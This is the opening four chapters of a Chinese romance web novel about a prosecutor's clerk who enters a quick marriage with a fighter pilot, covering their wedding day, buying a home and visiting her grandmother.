《第八年新婚》
1. 第 1 章
新年刚过,空气已裹挟着初春韵调。
大厅随处可见新鲜的腊梅枝,低调的红色,一簇簇清雅繁茂,缀点出铺天盖地的喜庆。
正月初八,领结婚证的人还挺多。
奚城说大不大,是南方炙手可热的宜居城市。唐苒毕业后扎根三年,无数次到民政局跑腿,却还是头一回办私事儿。
窗口大姐熟识她,意味深长的眼神掠过她身侧的高大男人。
白衬衣外搭着件灰毛呢,简单素净,没有任何装饰。
流水线般普通的寸头,却压不住出色俊秀的眉眼。五官在他脸上拼凑出最融洽的效果,多一分少一分,挪一寸位置都不够完美。
不言不语地站着,竟有股说不清道不明的轩昂气质。
大姐收回惊艳的目光,默默瞟一眼电脑上的职业资料。
难怪了,是个军人。
一边签字,一边和唐苒说笑:“行啊小唐,一声不响找了个极品,回头给我闺女传授经验哈。”
唐苒难得全妆,为了证件照去店里化的,总觉得眼皮和嘴唇都太厚重,笑起来略显僵硬。
大姐把两本热乎的结婚证递给她:“恭喜恭喜,百年好合。”
唐苒接过:“谢谢吴姐。”
“客气啥,记得抽奖。”
宋泊峤始终站在她身后,顺从得像个工具人。唐苒把属于他的那本结婚证递给他,望向门口:“抽奖吗?”
说是政府福利,春节期间领证的夫妻都可以在民政局门口抽一次奖。
iPad,智能蒸烤箱,空气炸锅,双人旅游,有巴厘岛,普吉岛,和几个耳熟能详的蜜月圣地可选……最末的五等奖那栏,只有“神秘奖品”四个字。
宋泊峤收好结婚证,手机突然响了,眉头稍拧,边拿手机边歉意地看她:“你试试吧,我接个电话。”
“好。”
唐苒向来运气差,没抱希望,手伸进抽奖箱随意薅了几下。接电话的男人语气略严肃,应该是工作。
展开纸条,意料之中的五等奖。
神秘奖品是一只镭射白的小盒子。包装精致,字体纤细——Durex,Air,快感三合一。
宋泊峤挂电话看过来时,唐苒手忙脚乱地把东西揉进兜里:“那个,你有工作就去忙吧,大老远来一趟,也……”挺折腾的。
她话没说完,一声轻笑打断。
民政局人来人往,一对对光鲜亮丽神采奕奕,他清冽明澈的眼神却让一切都黯然失色。
“放心,打过招呼了,今天没人叫得走我。”男人薄唇轻启,调子随意而疏懒,带着寒冬暖阳般不经意的温度。
下巴扬了扬,看向她躲闪的手:“抽到什么?”
唐苒急忙把兜里的东西藏好,心虚支吾:“没用的东西,我扔了。”
宋泊峤稍低下头,勾着唇,眼神莫测:“好歹我也有份儿,不给我看看再扔?”
他也有份……
兜里的盒子被捏变形,唐苒莫名联想到一些限制画面,清了清嗓,强自镇定:“扔都扔了。”
宋泊峤笑而不语,像在欣赏她的局促,眼神和初见时如出一辙。
那天同样的地点,也踩着脚下这块砖,电话里谭喆的嗓音抱歉又决绝:“对不起唐苒,我没有喜欢过你。”
“我心里从始至终只有菁菁。”
“算了吧。”
寒冬腊月,她呆立在民政局门口,复盘谭喆和她交往以来的种种行为。
嘘寒问暖,体贴周到,半夜接她下班,清早排队去买她爱吃的牛肉面……好像相见恨晚,一往情深。
原来最精湛的演员从来不在电影荧幕上。
那天宋泊峤站在她不近不远的距离,将她冷淡的嘲弄尽收眼底。
然后递给她一张纸巾。
等她平静下来,鼻尖擤得发红,问她要不要结个婚。
被谭喆抛弃,接受陌生人求婚,那天她的人生拐了个大弯,被拧向无法预测的未来。
她问过宋泊峤为什么选她,对方答得漫不经心:“家里催烦了,找个顺眼的堵他们嘴。”
正好她也想找个顺眼的让奶奶安心,算各取所需,一拍即合。
“让一让让一让。”打扫地砖的阿姨坐在清洁车上,扶着方向盘大喊。
唐苒匆匆回神却来不及躲,飞速转动的拖布眼看要碰到她一尘不染的皮靴,忽然腰间一紧,清冽的香味和男人结实的手臂将她围拢。
鼻尖裹卷着陌生而硬朗的气息,心跳猝不及防地杂乱。
到底是部队里练出的体格,穿着衣服看不出多壮,但她的手隔着衬衫,抚触到清晰的肌肉轮廓。
松开时,还有些意犹未尽,浮想联翩。
她默念几遍社会主义核心价值观,清心凝神,直至那人淡淡开口:“我订了餐厅,去吃饭?”
唐苒眉头一松:“好。”
新婚夫妻的第一顿饭,在人均500的花园餐厅。
唐苒不知道他什么时候订的,明明今早才从驻地飞过来。
这么高档的地方她只来过一次,相亲,对方是银行管理层,对她很满意,唯一要求是婚后离职当主妇,自然没谈拢。
那次坐的还是大厅。
服务员领着他们到包间,两人位,私享一片空中花园。
桌面上摆着一束鲜艳欲滴的红玫瑰。
唐苒微怔:“这是……”
“给你的。”宋泊峤把花拿起来,亲手递给她,“不知道你们女孩儿喜欢什么,老板说送这个不会错。”
唐苒笑着接过:“谢谢。”
领证前岑念给她打过预防针,说部队里都是钢铁直男,图他工资高事儿不多就好,别的就不要做指望。
可目前看来,没想象那么糟。
菜品精致,环境优雅,对面的人也秀色可餐,唐苒食欲很好,甚至与他小酌了两杯。
饭后赏景,忽然觉得眼睛不舒服,像被吹进了异物。估计是假睫毛作祟,起身去了趟洗手间。
她皮肤白皙,不干不燥,显得底妆服帖水润。
摘掉假睫毛,眼睛的异物感瞬间减轻,整个妆容也变得清淡素雅。
不料从洗手间回去,迎面和冤家遇个正着。
月余没见的谭喆西装革履,身边挂着个漂亮女人,一身粉色,名牌logo从头到脚闪闪发光。
谭喆本想装不认识,奈何他身边的女人咋呼:“老公,这不是你前女友吗?”
周遭陌生的目光投射过来时,唐苒真想谢谢她八辈祖宗。
“你好。”女人朝她伸手,Cartier手镯在腕间晃荡,耀武扬威,“我是阿喆的老婆,上个月刚领证。”
唐苒手没动,嘴角勾得发凉:“闫菁菁?”
“你知道我?”闫菁菁睁大眼,惊讶又得意,“阿喆提过我吗?”
“没有。”唐苒手揣在兜里,事不关己的语气,“我看过你哭诉自己打工供男朋友读书反被抛弃,后来意外怀孕胎死腹中的卖惨直播。听说你那场赚了二十多万,其中有我十块钱,送你去看看脑子。”
闫菁菁目瞪口呆,惊慌地看向谭喆。
“如果是真的,看来我那十块对你没用处,麻烦还给我。”唐苒面无表情盯着她,“如果是假的,你最好也还给我,否则我会以诈骗罪起诉你——哦对了,听说你那个账号因为尺度问题被封了?”
谭喆嘴唇在发抖:“你什么时候做过那种直播?”
“老公我没有……”
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“还狡辩?唐苒不会骗人。”
“你这么相信她!”
两人在大厅吵起来,好事的看客开始拍视频。
唐苒凉飕飕地添油加醋:“谭先生,拆迁款没那么快到账,您家给的彩礼是借的吧?您父母都是公职人员,不能在农村购置宅基地。如果后续权证上出问题,可是不能拿拆迁款和房子的哦。”
关于谭喆突然悔婚的原因,唐苒得知后哭笑不得。
他和闫菁菁在大学相识相爱,直到谈婚论嫁,因为闫家索要高价彩礼,被他父母硬生生拆散。
后来与唐苒相亲,图她长得漂亮善解人意,工作单位好,虽然家庭条件差了些,但对彩礼和房子没要求。就结婚来讲,他赚了。
然而天意弄人,就在约好领证前不久,新的高铁站规划路线经过他父母准备在农村养老的地盘,拆迁赔两百万加三套房,一夜暴富。
闫菁菁得知后联系他,谭喆也起了悔婚的心思。
“什么?你们家借钱给我当彩礼?”闫菁菁急得跳脚,“那结婚的钱也是借的?”
谭喆竭力安抚她:“只是暂时的,等拆迁款下来我们就有两百万了!还有三套房,爸妈一套我们一套,剩下一套出租,都谈好了,租金全给我们。”
闫菁菁红着眼指向唐苒:“可她说你们拿不了钱和房子!”
“别指我。”唐苒双手环胸昂着下巴,“万一我心情不好写封举报信,你公婆拆迁款泡汤事小,临退休挨个处分,多不划算啊。”
闫菁菁气跑了,谭喆狠瞪她一眼,赶忙追上。
唐苒若无其事地转过身,打算回包间,正对上走廊立柱边那一双眼。
底色浓郁,像洇开一池墨。
宋泊峤手臂上搭着她的外套,送她的玫瑰花握在手里,走到她面前,眉眼几分打趣:“差点多管闲事。”
唐苒接过外套,穿上:“什么时候来的?”
“你说给她十块钱看脑子的时候。”
“看戏看得挺开心?”
“嗯。”宋泊峤直勾勾望着她,毫不掩饰,“不愧是高中辩论队首席。”
唐苒一愣:“你怎么知道?”
宋泊峤笑了一声:“你自己写的。”
“……”
当时结婚申请的资料,宋泊峤说最好详细点,部队领导不能糊弄,后续还要审查,于是她什么好的都写上了。
高中对她来说,的确是最辉煌的时期。
不像现在,一盘好棋凌乱稀碎。
宋泊峤看着她下垂的眉眼,猜不出她在想什么,但气氛有些低迷。
假装轻松地笑了下,把花递给她:“走吧,去看房。”
唐苒捧着花跟上去:“看什么房?”
“婚房。”
餐厅门口的花坛边,宋泊峤用手机搜索市里的新楼盘,午后阳光均匀地洒在两人后背。
虽说是闪婚,没谈过钱的事儿,唐苒账上还是得了二十多万。
宋泊峤父母在帝都忙工作,没来得及见面,但他母亲加了微信,言语间是个温柔的人。还给她转了几万块,让她自己买喜欢的首饰。
唐苒对他的家庭了解不多,只知道父母收入稳定,宋泊峤说都是工薪阶层。
“其实不用着急买房。”她看着男人敲击屏幕的修长手指,指甲光洁,饱满圆润,一看就很健康。
如今奚城的房价,地段不差的都要上百万。
买房这事她不想坐享其成,也不想他和他父母独自承担,如果自己能出一半,是最好的。
“那我以后住哪儿?”宋泊峤看过来,阳光像被滤成金粉,铺满他墨色的瞳孔。
携着慵懒的腔调低头,靠近 ,眼眸亮得令人眩晕:“陪我去酒店?也行。”
2. 第 2 章
或许他口中的“去酒店”,只是去酒店住宿的意思。唐苒竭力压着失控的肾上腺,不让自己闹笑话。
还好,她定力足够,没有脸红。
“这样挺不经济的。”唐苒一脸正色地思忖,“住酒店的钱纯属消耗,如果买房,好歹月供交完房子是自己的,等同变相存款。虽然也许会贬值,但也不排除房价再涨的可能性。”
必定损失和也许会损失,当然选后者。
没如愿勾引到她的男人带几分无奈,勾唇附和:“嗯,没错。”
唐苒:“我问问同事,今年好像有福利政策,看下有没有离单位近的小区。”
“都是羊毛出在羊身上,政府发福利,开发商涨价,没什么区别。”宋泊峤轻轻揽过她肩,抬手招了辆出租车,“先看房,别的再说。”
不算民政局门口的意外,唐苒第一次被男人这样碰,不太习惯,整个人僵了僵,身体下意识往外撤。
宋泊峤瞬间明了,松开手,为她拉开后座车门。
两人隔着段距离坐好,宋泊峤报了个小区名字,窗外街景开始倒退。
唐苒在奚城长大,这些景色早已看腻,微侧过头,目光落在男人轻搭在腿上的左手。刚才隔着大衣,她清晰感觉到这只手的力道和温度。
他们不是别的关系,是拿过结婚证的合法夫妻。
自己刚刚的反应是不是过了?
她迅速抬了下眼,并没有从男人冷静的侧颜中辨别出什么情绪。
但该说的还是得说,免得宋泊峤多想,误会她嫌弃他。
唐苒握了握身侧的指尖,口齿钝得不像她自己:“抱歉啊,我只是……不太习惯。”
说完她小心观察他表情,男人却把脸转向窗外,只留给她一道捉摸不透的语气:“没事儿,正常。”
“那——”唐苒张张口,突然也不知道该说什么,抿唇低头,“就,慢慢来吧。”
“嗯,慢慢来。”宋泊峤仰靠在座椅上,闭目养神。
光线勾勒的翘鼻薄唇,流畅完美的下颌线,连微微探出额头的短发都像在无声勾引。
唐苒不得不承认,这张脸有让人丧失理智的功力。
*
检察院地段太好,周遭许多不能拆改的文物楼,新小区不多。她现在和同事合租的两室一厅,还是九十年代的单位宿舍。
附近小区均价一万五,而一公里外新完工的楼盘,售价近两万,是奚城打造的地标式高档小区。
年前听富二代同事炫耀,父母给他在那儿买了套大平层。
唐苒从来没想过自己会踏足那片奢侈的地界。
售楼部门口,她拽住他衣角小声提醒:“宋泊峤,这里很贵。”
“先看看。”他不由分说进了门。
两人风度姿容都是上乘,好几个销售蠢蠢欲动,最后是经理亲自迎上来:“两位看房吗?”
宋泊峤接过宣传册和户型图:“嗯。”
“是这样的,我们一期现房剩得不多,BC户型十多套,但是楼层都不太好,看不到江。140平以下的刚需户型,您要是对楼层有要求,恐怕得等等二期了。”
“E户型呢?”男人站在电子屏幕前,指了指临江大道旁边的某楼栋,“15层以上,顶楼以下。”
经理笑得合不拢嘴:“先生眼光真好,这栋楼是正江景,15层以上视野绝佳。”
唐苒看了眼E户型面积,168平方米。
他要在家办展览吗?
宋泊峤仿佛知道她想什么,淡淡开口:“我需要一间健身房,168平,应该够用。”
唐苒面无表情:“不如考虑一下两百的呢。”
“太大了,怕你一个人冷清。”他转头望向经理,“看看样板间。”
“好的。”
唐苒陪同事也看过房,都是普通的家庭刚需房,一百多平,货比三家,磨破嘴皮子讲价,最后还找销售薅点儿赠品才罢休。
她没见过宋泊峤这么果断的。
看完样板间,就问她喜不喜欢,一句话,付定金。
经理见他财大气粗,也思虑长远,主动给最大的折扣,送一套家电怕他看不上,折成现金优惠券,没费什么力,皆大欢喜。
唐苒不知道宋泊峤是纯粹懒得计较,还是深谙其中道理,从他那张始终云淡风轻的脸上也瞧不出来。
但她是真学到了。
比起绞尽脑汁还价钱,让销售觉得他是值得维护的大客户,主动让利讨好,出来时点头哈腰叫宋总,钱没多花,事儿也省了。
然而不管怎么算,这房还是得三百多万。
唐苒在脑子里琢磨用自己公积金贷款的事,突然听见一道熟悉嗓音:“姚经理,我知道你们多少还捏着几套,哪能真的全卖完了?”
另一人掩在树丛中,像是被谭喆强行拉着,语气无奈:“谭先生,现在房市不比以前了,我们哪有压房不卖的必要?能卖出去一套谢天谢地。您要的小户型真没有了,要么就等二期开盘,后年交房,如果您着急住,建议去别的小区看看。”
谭喆:“我老婆就要你们小区的房,120户型还有吗?”
“没有了谭先生,现在最小139,您诚心要为太太买,也不计较这四十万的。我实话跟您说,就剩一楼四楼十四楼顶楼,再等,这样的都没有了。”
“我现在拆迁款还没拿到,能不能先付定金?”
“付了定金也得月底前交全款,谭先生,您确定可以吗?”
“我再想想……”
唐苒扯了扯唇,不经意露出嘲弄的表情。
宋泊峤走到她那侧,挡住谭喆不依不饶的嘴脸。
“走吧。”他低声说,“去趟银行。”
唐苒站在路边,默默计算完她的公积金余额:“你打算按揭?”
“不用。”
“那那么多钱……”
“爸妈给了。”过马路,他用手腕内侧扣着她肩,这次唐苒忍住条件反射,没有再躲,“帝都的房卖了一套,买这个绰绰有余。”
唐苒惊呆几秒,才找回自己声音:“你们有几套房?”
“现在还剩两套,一套爸妈住,一套出租。”宋泊峤耐心解释,“早年房价没这么贵,政策也宽,我
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爸有点儿余钱就按揭了两套房,当时为这事儿,我妈还跟他冷战很久。”
唐苒手心冒汗:“事实证明,你爸爸很有远见。”
“运气好而已。”
银行在对面街角,还有几十米距离,宋泊峤走在她侧后方。
他的影子正好覆在她身上,唐苒低头看两人重合的轮廓,觉得后背的阳光更加滚烫。
直到银行大厅沁凉的空气,吹散那股说不清楚的暧昧。
柜员很快办理好转账,宋泊峤顺手把卡交给她。
唐苒拿着烫手山芋,强装镇定:“里面还剩多少钱?太多的话我不拿了。我现在租房,不太安全。”
“有道理。”宋泊峤点了下头,却没收回卡。
唐苒跟着他走出银行,打车去家居城。
“是该尽快搬了。”他侧头看她,揶揄含笑,“再让你租房,别人会觉得你老公没本事。”
“……”唐苒默默地转开脑袋。
房子是精装修,带地暖和中央空调,厨卫也齐全,但需要买家具家电和定制柜。
唐苒对这些一头雾水,只负责点头摇头,喜不喜欢,然后用那张卡付钱。
一个下午,就把该买的都买好了,只剩定制柜,需要一个月制作周期,到时再联系她上门安装。
“最好周末,我回来看着。”唐苒签字,他抬头嘱咐工作人员。
唐苒:“没事,我自己可以。”
监督工人干活又没什么难度。
男人笑了笑:“结婚多出的假期,不用白不用。”
“……哦。”唐苒脸一热,白讨个没趣。
原来他只是想出来玩。
唐苒本想带宋泊峤去见奶奶,可下午事太多,找了家餐厅吃完晚饭,估摸着奶奶该准备睡了。
近一年,奶奶每天睡得越来越早。
唐苒第一次和男人进酒店,后背热得出汗,大抵是因为暖气。
五等奖依旧在兜里攥着,烫手的很,盒子都被捏瘪了,也不知道里面的东西还能不能用。
今晚会用上吗?
新婚第一天,于情于理……
唐苒咬了下嘴唇,苦恼的神情映在右手表盘上,被某人2.0的视力一览无遗。
房门自带合上的力道,“嘭”一声,唐苒吓得汗毛竖起。宋泊峤只是额发微微的晃动,风止,目光依旧定在她脸上。
酒店昏暗暧昧的光线和散发着绮丽氛围的熏香,仿佛眩晕了此刻的时间,一切都慢放到凝固。
直到额头喷洒的气息吹散黏腻的暧昧,撑在她耳侧的手并没有进一步动作,也没有逾矩抱她,呼吸停在二十公分外的安全距离:“怕什么?我不耍流氓。”
唐苒不动声色咽了口唾沫。
宋泊峤望着她笑:“商量一下?”
唐苒微愣:“什么?”
“你说的慢慢来,从哪儿开始。”男人认真的眼神,被暖黄色顶灯烘托出几分浪荡,双眼皮褶皱像含着不清不白的韵调,怎么看都不正经。
目光落在她身侧,那只紧张蜷缩的手上:
“牵手可以吗?”
3. 第 3 章
周遭安静得针落可闻,到此刻唐苒终于清晰地意识到,她和一个男人,尽管还不太熟,却是她名义上的合法丈夫,孤男寡女,独处一室。
情况暧昧又危险。
她不知道如果把手交出去,下一步会是什么。
宋泊峤见她僵着没动,脸上表情淡然冷静,眼底泄露出几分紧张,却明显没有欣然接受的意思。
他也不急,了然地勾了下唇:“你歇会儿,我洗个澡。”
坐凌晨航班从驻地过来,折腾一天,铁打的身子也有些疲惫。
宋泊峤拎了一小包行李,唐苒还站在墙边,直到浴室门关上,才默默松了口气。
她不是个见到帅哥就往上扑的人,情感上大抵属于慢热型。看得顺眼和能立刻接受亲密行为,完全是两码事。
走到窗边,伴着浴室水声看了会儿夜景,唐苒总觉得心静不下来。淅淅沥沥的声音,像滚珠子砸在心口,细密而清晰。
顷刻,意识回笼,给岑念发微信,报告今天领证的事。
岑念:【他回去了吗?】
唐苒:【没。】
【好像有几天假期,不着急回。】
岑念:【坏笑.jpg】
【那你俩准备干嘛呢?】
唐苒:【不知道,他刚刚去洗澡。】
【我估计再待一会儿就回去吧。】
岑念:【???】
【新婚夜,要不要这么暴殄天物?】
【你倒是上啊!】
唐苒:【……我不想。】
但如果他想,自己好像没理由拒绝。
唐苒轻咬下唇,瞄了眼卧室和浴室间的透光玻璃,尽管什么都看不到。
手机震了下,对面的人十分激动。
岑念:【真不想假不想?】
【证件照都这么帅,本人得什么样儿……你倒是把持得住啊。】
唐苒失笑:【拜托,我好歹也是检察干警中的一员,怎么在你眼里像个色魔?】
岑念:【食色性也,人类本能,你还没上庭呢就成仙了?】
【这身材这脸蛋儿,不挺像你高中时画的理想型?】
【老天爷都在帮你!】
见到宋泊峤第一眼,那张脸确实长在她审美点上。
否则也不会同意拼个婚。
唐苒靠着玻璃,不疾不徐地敲字:【慢慢来吧。】
【感觉有点……奇怪。】
身体的陌生感骗不了人。
即便因为那本结婚证,她不断提醒自己两人关系的转变,也无法否认他们才见过第二面的事实。
宋泊峤洗澡很快,她才点开刷题软件,没看几道,浴室门开了。
潮气氤氲的身体裹着条浴巾,白天隔着衣服意外触碰过的肌肉轮廓,就这么迎着光线,涌入她毫无准备的视野。
见她红着脸撇开目光,用毛巾擦头的男人终于意识到什么,不动声色地退回浴室。
没多会再出来,完美诠释着男性荷尔蒙的身材已经被掩入浴袍中。
唐苒却按捺不住过分活跃的思维,脑海里不停浮现出浴袍下的风光,白天手掌曾碰过的短暂触感也重新具象起来,手热,心脏也热。
宋泊峤坐到沙发上,海绵的凹陷传递到身侧,她不禁攥了攥手指。
“抱歉,在部队里习惯了,都是男人,没那么讲究。”他看了她一眼,解释,“我以后注意。”
“……没事。”挺好看的。
话音落下,唐苒脑袋一懵。
原本放在心里的后半句,竟被她紧张得脱口而出。
男人偏过头,表情藏在另一侧,清了清嗓:“你满意就好。”
唐苒暗吸一口气,忍住咬舌自尽的冲动:“没事的话我回去了,你早点休息。”
语速比平时都快了几分,像落荒而逃的前奏。
宋泊峤身体前倾,胳膊搭在腿上轻握住手指,目光如缓慢燃烧的火焰,安静攫住她。
“第一天,就要分房睡?”
唐苒被堵得猝不及防。
“知道你没准备好,我也没别的意思。”宋泊峤拿起茶几上的矿泉水,拧开,递给她,“我睡沙发。”
唐苒心一软:“不用……”
“那可以一起睡床。”他笑着瞥了眼前方,洁净平整的白色被褥,“如果你相信我的话。”
婚都结了,相不相信的,纯属多余。
唐苒喝了口矿泉水,稍微冷静一些,点点头:“好。”
今早出门时,她就备了换洗物品在包里,这种情况不是没考虑过。
洗了澡,两人一人牵一角被子,躺在两米大床上。
这是她第一次和男人同床睡觉。
极致的黑暗中闭着眼,视觉受限,其余感官更敏锐了些。
身侧气息被无限放大,同样的沐浴液香味,她偏偏就能辨认出,哪一缕不是自己的。
不知是他的体温还是酒店的暖气,熨得被窝里燥热,整个人静不下来。
唐苒背对他躺着,想竭力忽略另一个人的存在,直到第六次拿过枕头边的手表看时间。
快一点半了。
失眠的焦躁让她没忍住,深深地叹了口气。
“睡不着?”身后传来一道低哑嗓音,融着几分困意,在夜色里毫不突兀。
唐苒噤声装睡。
宋泊峤稍稍侧过,被褥牵动:“不然我去沙发?”
没等她阻止,已经起身。
失去男人的体重压力,席梦思软垫抬起来一些,轻微的震荡感很快平复。
呼吸远了,从沙发那头传过来,逐渐感受不到任何动静,屋里好像只剩她一人。
唐苒缓慢而小心地转过头。
森白月光流泻在沙发上,把男人略显局促的身体照亮一些,他太高了,沙发显得太小。
“……宋泊峤。”她有点想叫他回来。
可他的脸在暗处,看不清,身体也没动。
唐苒拢了拢被子,转过身嘟哝:“睡这么快。”
她闭上眼,很快意识昏沉。
第二天没人叫起床,唐苒睡到自然醒,薅来手表看了眼,已经十点一刻。
虽然昨晚失眠,但还是睡够了八小时。
“醒了?”沙发上人反手枕着脖子,嗓音低哑懒散,“是下午去看奶奶,还是中午去?”
想起和这个男人同房一夜,唐苒竟然没觉得尴尬,好像过了昨天,熟悉不少。
认知到对方是她丈夫的念头也越来越平静自然,不像刚开始那么别扭。
“中午吧。”唐苒坐起来,“先买点菜,去给奶奶做个午饭。”
顿了顿
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,想到什么,“还要买点礼物。”
“礼物我买好了。”宋泊峤单手回着微信消息,“附近有个菜市场,买点儿菜就行。”
唐苒错愕:“你什么时候买的?”
昨天从领证到睡觉,他们除了上厕所洗澡都没有分开,也没见他手上拎东西。
“早上。”他云淡风轻地说,“我出去锻炼了会儿,回来的时候超市正开门。”
唐苒对他的生活有点好奇:“你们在部队,每天都要求晨练吗?”
“那倒没有。”
“哦。”唐苒应了声,没再继续。
以为话题中止,不料那人漫不经心的嗓音飘过来:“这不是保持身材么,腹肌这东西,懈怠一阵儿你就看不见了。”
“……”昨晚美男出浴的画面又一次涌上眼前,和她脑子发昏脱口而出的虎狼之词。
以及他那句——你满意就好。
也不知道他是真直率,还是故意想逗她。暖气仿佛高了几度,烘得人燥热。
唐苒满脑子天马行空,初醒的迟钝让她看起来很呆。
宋泊峤侧过头,一只红透的耳垂入眼,叫人莫名想捏一捏。
他定下心神,见好就收:“快去洗漱吧,要不晚了。”
“嗯。”
唐苒起床洗漱,准备化个淡妆,见奶奶时气色要好些。
待化完妆出来收拾,宋泊峤在沙发上打游戏。
“玩的什么?”她顺口问。
“《仙剑》单机。”
“哦,我还以为是王者。”
“我这人比较怀旧。”宋泊峤勾着唇,手指熟练轻快地在屏幕上点着,“我妈说我搞特殊,别人都玩儿的我偏不喜欢。”
唐苒把化妆包塞进去,撩眼:“是以前看的电视剧吗?刘亦菲和胡歌那个。”
“嗯。”顿了顿,“不过我更喜欢95版游戏,电视剧么,一般。”
“你不喜欢刘亦菲?”唐苒靠在电视柜边观察他。
很少有男人打游戏的模样没让她觉得颓,反而带着股游刃有余的魅力。手指如飞,表情却淡定从容,整个人像在发光。
她不打游戏,也能想象如果被他带着玩,应该会很有安全感。
宋泊峤手指停下来,视线稍抬,越过空气接住她探索的眼神。
唐苒反被他瞧得心慌:“怎么,我问得不对吗?”
“不是。”宋泊峤眼神直白,坦荡,“是我在想,怎么回答能不得罪你。”
“……”她看起来脾气很差?
“说喜欢,你未必高兴,说不喜欢,你可能也会失望。”他语气诚恳地解释,“看得出来你很喜欢。”
唐苒怔了怔,失笑:“我随口问问,你不用太认真。”
不说部队里都是直肠子吗?他怎么弯弯绕那么多?
收好东西准备离开,唐苒摘了房卡,宋泊峤也关掉游戏。
她回过头,男人起身的动作正僵住,扶着沙发背趔趄一下。
唐苒下意识抬手,却见他已经站起来,昂首挺胸,步履周正地走向她。
刚才那一幕仿佛是错觉。
走出房间时,唐苒忍不住关心一句:“你……腰没事吧?”
“姿势不对,压着筋了。”男人接过她手里的包,投下的目光意味深长,“放心,腰好得很。”
4. 第 4 章
如果说之前的暧昧都是她脑补和错觉,那这句“腰好得很”,算不折不扣的暗示了。都是成年人,都懂。
宋泊峤对她解释这个,似乎也在情理之中,只是掰正她的胡思乱想:你老公那方面没问题,不要担心。
然而唐苒在感情上空有理论经验,也就看了些情爱纠纷的卷宗,还大多是离婚案情杀案,对于这种扑面而来的暧昧氛围,实在不知道该怎么反应。
无端红了一双耳朵,加快脚步闪进电梯。
宋泊峤从善如流地站到她身后,垂眼望向她后脑勺发丝中央的漩涡,嘴角惬意地勾着。眸底浸透了暖意,比电梯顶灯还亮一些。
这人玩世不恭地笑起来时,荷尔蒙带着铺天盖地的侵略性,像从热带雨林误入到文明世界,一棵野蛮生长的大树。
楼下进来的小姑娘不经意瞥了一眼,宋泊峤甚至没看她,只始终盯着自己跟前的人,弄得小姑娘都不好意思,悄悄挪到电梯角落。
直到一楼,等小姑娘出去后,两人不急不缓地去前台退房。
工作人员态度谦逊温和,请求他们在APP上写个评价,送一袋伴手礼。
唐苒向来乐于做这些,答应得爽快。
宋泊峤一只手揣在兜里,懒洋洋地,单手敲着屏幕套用别人的模板,还在末尾加了一句——
沙发不错。
然后意味深长地看了她一眼。
唐苒接过那袋伴手礼,在工作人员同样暧昧的注视中,扭头跑了。
宋泊峤跟在身后,唐苒不理他,只顾着闷头买菜。后来他乖乖拎满手,还有条青鱼在袋子里活蹦乱跳。
出租屋离得不远,唐苒平时有空也来这儿买菜,相熟的大婶笑呵呵道:“小唐,男朋友不错啊。”
“谢谢阿姨。”某人嘴甜得很,煞有介事地纠正:“是老公。”
“噢哟,什么时候结婚的?恭喜恭喜。”大婶往袋子里多塞了两颗西红柿,“百年好合,事事如意。”
“多谢,也祝您生意兴隆。”唐苒笑了笑,拿手机付钱。
唐苒没吃早餐,路上搜索给奶奶做午饭的菜谱,网上照片越看越饿。
酒店送的伴手礼正好是饼干和巧克力。
椰奶香满溢在出租车狭窄的空间内,她啃了好几口,才想起来问身边的人:“你……吃过早餐吗?”
唐苒只有工作日会按时吃早餐,去单位路上有几家风雨无阻的路边摊,许多周边上班的人都在那儿买,她路过也会顺手带点儿。但只要放假,早起一杯牛奶应付肚子,然后看书,刷题,根本不记得吃饭的事儿。
今天算放假,她全然忘了她自己不吃,别人或许也要吃。
宋泊峤淡淡的眼神飘过来:“没有。”
“都出去锻炼了,也不顺便买个早餐。”嘴上咕哝着,她还是把袋子里另一块饼干分给他。
“抱歉,我没想到。”男人笑着接过,“下次记得给你买。”
“……”才不是说她自己。
唐苒嘴唇动了动,突然又不想解释。
每次试图对他解释什么,都被她弄得很尴尬。
然而这一次沉默,让宋泊峤心不在焉到下车。
奶奶从前住在乡里,离唐苒太远,每次回去要两个多小时,大巴转小巴,路也不好走。
后来孙女好说歹说连带撒娇,才同意在城中村置办了一层院子。
唐苒曾经想让她进城,以她现在的工资完全够租一套两室一厅和奶奶一块儿住。但大山里土生土长的那一辈人,好像离了菜地不能活,唐苒也就不勉强。
好在这里也不远,从市中心半小时车程。
新的城中村是区政府统一规划,排列坐落得整齐,通通白砖黛瓦,简洁明了的装饰线条。
唐苒一边往奶奶那儿走着,一边给奶奶打了个电话,欣喜激动,完全没留意到宋泊峤的情绪。
东西太多,她帮忙拎了箱牛奶,随着她的步子和嗓音有节奏的晃动。
某栋屋前,一头花白卷发的老奶奶半倚着门,望眼欲穿。看见他俩时瞬间笑眯了眼。
唐苒小跑迎上去:“奶奶,您出来干什么?快回院子里,别冻着了。”
“我身体好着呢,还怕冻,倒是你们现在的年轻人,一个个还不如我这把老骨头。”奶奶又笑又数落,“跳个广场舞都喘。”
唐苒脸一热,嗔道:“奶奶。”
说好了这事儿烂肚子里,她不想让别人知道她心血来潮陪奶奶跳过广场舞,更不想让人知道她跳了没一首就大喘气!
“哟,知道知道,不挖你的黑历史。”奶奶拍拍她手背,看向宋泊峤,“一表人才,真好,快进屋坐。”
“奶奶好,我是宋泊峤。”男人拎着东西进屋,字正腔圆地介绍自己,“在江城工作。”
奶奶在屋檐下摆了桌椅,平时闲着坐下来喝喝花茶,看看满院绿色,心情会很好。
今天宋泊峤来,她提早沏好了茶。
孙女婿比照片还好看,奶奶一百个满意:“听说你是当兵的?”
“不是当兵的奶奶。”唐苒一本正经地纠错,“军官和兵不一样。”
奶奶:“你还懂挺多,书没白读。”
唐苒一边把礼物摆进客厅,一边朝奶奶扮鬼脸。
“那你在空军,是飞行员啊?”
“是。”
“开什么飞机的?”
“歼-20。”
“哎哟,好厉害。”
“没什么厉害的奶奶,三百六十行都一样,苒苒在检察院也不容易。”
唐苒听着额头一跳,这人还怪会说话。
“会不会很危险啊?我过年看的电影,也是你们那个战斗机,动不动就冒烟爆炸啊……人就没了。”
“奶奶,那是电影情节。”
老太太难得有八卦的兴致,唐苒不再打扰这两人,去了厨房。
中午做一道青鱼,土豆炖牛腩,竹笋炒肉和干锅花菜。为了让鱼肉鲜嫩一些,她没让老板先杀。
宋泊峤和奶奶聊完进来时,正见到她磨刀霍霍向青鱼的样子。
鱼头比她的手还大,宋泊峤眉一皱:“我来吧。”
他还没走到身边,唐苒一刀已经果断下去,鱼在砧板上最后无力地扑腾几下,安静了
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。
“你不陪奶奶吗?”唐苒熟练地剖着鱼腹。
“奶奶说刚种萝卜弄脏衣服了,回屋换一件。”宋泊峤看见水池里的菜,顺手打开水龙头,“她是心疼你,也是考验我。”
唐苒明白过来,笑了笑:“那你得好好表现。”
这一片什么都好,就是还没通天然气,太阳能有没有热水全看老天爷心情。
